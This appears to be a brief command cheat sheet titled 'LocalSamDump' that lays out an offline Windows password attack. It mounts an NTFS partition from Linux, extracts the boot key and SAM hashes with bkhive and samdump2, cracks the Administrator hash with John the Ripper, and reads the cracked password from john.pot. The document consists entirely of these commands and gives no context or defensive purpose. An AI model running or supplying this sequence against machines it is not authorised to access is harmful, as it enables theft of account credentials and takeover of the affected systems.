

LocalSamDump

```
fdisk -l

mount -t ntfs /dev/sda1 /mnt

df -k

cd /mnt
ls
cd WINDOWS/system32/config

ls
bkhive system /root/hive.txt
samdump2 SAM /root/hive.txt > /root/hash.txt

john /root/hash.txt -format=nt2 -users=Administrator
cd /root/.john
ls -l
cat john.pot
```